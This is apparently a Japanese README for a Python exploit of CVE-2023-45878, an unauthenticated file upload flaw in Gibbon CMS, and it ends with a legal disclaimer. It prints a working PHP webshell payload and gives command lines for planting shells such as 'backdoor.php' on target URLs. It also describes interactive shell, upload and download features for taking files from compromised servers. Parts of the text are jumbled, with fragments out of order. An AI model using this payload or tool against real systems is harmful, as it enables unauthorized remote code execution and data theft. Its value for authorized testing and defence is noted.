
CVE-2023-45878の自動化Pythonエクスプロイト。Gibbon CMSにおける認証なしファイルアップロード脆弱性を悪用し、PHPウェブシェルの展開によるリモートコード実行を実現。対話型シェルおよびファイル転送機能を備えています。
このPythonスクリプトは、Gibbon CMS バージョン25.0.1以前における未認証の任意ファイルアップロード脆弱性 CVE-2023-45878 を悪用し、リモートコード実行(RCE)に至ります。
CVE-2023-45878 は Gibbon CMS の rubrics_visualise_saveAjax.php エンドポイントに存在します。このエンドポイントは認証を必要とせず、任意のファイル書き込みが可能であるため脆弱です。
脆弱性は以下の点から生じます:
modules/Rubrics/rubrics_visualise_saveAjax.php エンドポイントは認証なしでアクセス可能です。img、path、gibbonPersonID のPOSTパラメータを受け付けます。
img パラメータには特別な形式のデータが含まれることが期待されており、カンマ以降の部分がbase64エンコードされた文字列です。path パラメータが指定された場合、アップロードファイルの保存先ファイル名として使用され、Gibbon インストールディレクトリからの相対パスとなります。img パラメータからbase64エンコードされた内容をデコードし、path パラメータで指定されたファイルに書き込みます。<?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>)を含む悪意のある img パラメータを作成し、Webサーバーからアクセス可能な .php ファイルとなる path を指定することで、攻撃者はPHPウェブシェルをアップロードし、脆弱なサーバー上でリモートコード実行を達成できます。このPythonスクリプトは CVE-2023-45878 のエクスプロイトを自動化します。以下のアクションを実行します:
modules/Rubrics/rubrics_visualise_saveAjax.php への悪意のあるPOSTリクエストを作成し、PHPウェブシェルをアップロードします。ウェブシェルのペイロードは <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?> であり、{VERIFY_TAG} はカスタマイズ可能なタグです。ペイロードはbase64エンコードされ、img パラメータ内で送信されます。cmd=echo)を送信し、応答内で VERIFY_TAG を確認することで、アップロードされたシェルがアクセス可能で機能するかどうかを検証できます。また、--verify や --interactive オプションが使用された場合、既存のシェルがないか事前チェックも行います(存在する場合はアップロードをスキップ)。user@host:cwd$)。cd コマンドのリモートカレントワーキングディレクトリ変更処理を組み込み。!help: インタラクティブコマンドのヘルプを表示。python3 exploit.py <target_url> [options]
引数:
target_url: ターゲットの Gibbon CMS インスタンスのベースURL。スキームが指定されていない場合、スクリプトは http:// を先頭に追加し、末尾にスラッシュが付くようにします(例:http://example.com/gibbon または example.com/gibbon)。オプション:
-s <shell_path>, --shell-path <shell_path>:
アップロードするシェルのパスとファイル名を指定します(例:shell.php、uploads/shell.php)。
省略した場合、Gibbon ベースディレクトリにランダムな8文字のファイル名(拡張子 .php)が生成されます。
警告: 指定したパスが Web サーバーから書き込み可能であり、Web 経由でアクセス可能であることを確認してください。-v, --verify:
シェルのアップロード試行後、動作しているかどうかを検証します。このオプションは、指定された名前とタグのシェルがすでに存在するかどうかの事前チェックもトリガーし、存在する場合はアップロードがスキップされます。-i, --interactive:
インタラクティブシェルモードに入ります。シェルがまだ存在しない場合(事前チェックで確認)、最初にアップロードおよび検証されます。-t <tag>, --tag <tag>:
ウェブシェルペイロード内で検証用に使用するカスタム静的タグを指定します。デフォルト: ExploitGibbon。--timeout <timeout>:
HTTP リクエストのタイムアウトを秒単位で設定します。デフォルト: 20。例:
Gibbon メインディレクトリ内にランダムなシェル名、デフォルトタグを使用した基本エクスプロイト:
python3 exploit.py http://target.com/gibbon/
エクスプロイト、Gibbon メインディレクトリにシェルファイル名 my_shell.php を指定、デフォルトタグ:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
エクスプロイト、シェルファイル名 backdoor.php を uploads/ にアップロード、検証、カスタムタグを使用:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
エクスプロイト、シェルをアップロードし、デフォルトタグ、タイムアウト30秒でインタラクティブモードに入る:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
既存のシェルでインタラクティブモードに入る(スクリプトが事前チェックで存在確認):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
デフォルトタグで existing_shell.php という名前のシェルがアクティブかどうかのみ検証(見つからない場合はアップロードを試行):
dataclasses、pathlib の使用のため)requests ライブラリ: pip install requests でインストールrich ライブラリ: pip install rich でインストールprompt_toolkit ライブラリ(オプション、インタラクティブモード強化用): pip install prompt_toolkit でインストールこのスクリプトは教育およびセキュリティテスト目的のみで提供されています。自己責任で使用し、明示的な許可を得たシステムに対してのみ使用してください。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。許可なく脆弱性を悪用することは違法かつ非倫理的です。
!upload <local_path> [remote_path]: ローカルファイルをウェブシェル経由でターゲットサーバーにアップロード。!download <remote_path> [local_path]: ターゲットサーバーからファイルをダウンロード。!lcd <path>: ローカルのカレントワーキングディレクトリを変更。!ldir [path]: ローカルのカレントワーキングディレクトリまたは指定されたパスのファイルとディレクトリを一覧表示。prompt_toolkit ライブラリを使用してコマンドライン体験を向上(履歴、編集機能の改善)、それ以外の場合は Python 組み込みの input() にフォールバック。!upload コマンドは脆弱なエンドポイントを再利用して任意のファイルを書き込み、!download はウェブシェル経由で実行されるシステムコマンド(base64 や PowerShell の [Convert]::ToBase64String など)を使用してファイルの内容を取得します。python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v